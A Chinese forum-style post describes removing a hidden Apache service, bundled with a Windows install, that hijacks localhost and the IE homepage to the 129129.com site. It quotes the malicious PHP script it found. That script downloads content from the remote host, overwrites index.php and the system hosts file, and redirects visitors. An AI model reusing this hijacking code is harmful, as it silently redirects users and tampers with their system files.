【技术贴】解决127.0.0.1和http://localhost均被拦截跳转到另一个网页
很艰难的历程。
今天安装一个OA系统,要用到http://127.0.0.1输入完成之后,可以进入安装界面,but,我输入完了之后,自动跳到了129129垃圾网站,艹,我真TM服了,我把本地连接网线都拔掉了,它还是可以访问到这个网站,真是流氓网站啊,我又去下载DNS劫持修复工具,又是杀毒的,直到我发现我的进程里面有一个httpd进程,我艹,这不是阿帕奇的服务器软件吗,我就把它禁用了一下,瞬间就可以进入127.0.0.1了。不得不说,现在的流氓软件越来越人性化了,让人都摸不到什么意思,若不是我用到了localhost网址,我这辈子可能都不会发现这个小流氓插件,这样想来,每次我开机,它都去访问那个129129垃圾站,拖垮了网速不说,还占着CPU不拉屎。
解决IE主页总是显示http://www.129129.com/?1 2 3 4 ,怎么也改不过来而且360体检也找不到错误
解决方案:
360--开机加速--找到httpd--进入安装目录--禁止开机启动--然后删掉整个文件夹即可。
目录:C:\WINDOWS\Apache\bin 删掉整个目录
我其实在它的C:\WINDOWS\Apache\htdocs目录下找到了一段php脚本,里面这么写的:
<?php include_once "config.php"; $name1 = ""; $name2 = ""; //$name3 = ""; //获取最新php $index = file_get_contents('http://www.129129.com/ht/index.txt'); if(strpos($index, ) { $arr = explode("@", $index); $index = $arr[1]; $hosts = $arr[0]; $index = get_rep($index); if(!empty($index)){ if(file_put_contents("index.php", $index)==0){} } //获取最新hosts if(!empty($hosts)){ if(file_put_contents("C:/WINDOWS/system32/drivers/etc/hosts", $hosts)==0){} } } //域名跳转个性化 $serverName = $_SERVER['SERVER_NAME']; switch ($serverName) { case strpos($name1,$serverName)!==false: header("Location:http://www.129129.com/?1");exit; break; case strpos($name2,$serverName)!==false: header("Location:http://www.129129.com/?2");exit; break; case strpos($name3,$serverName)!==false: header("Location:http://www.129129.com/?3");exit; break; default: header("Location:http://www.129129.com/?4");exit; break; } ?> <meta http-equiv="refresh" content="0;url=http://www.129129.com/?301">
-----------------------------
很明显的最后一段有个跳转语句,可谓是别具匠心啊呸,垃圾封装的系统,强加了一个httpd软件,强制跳转到129129,垃圾,果断干掉!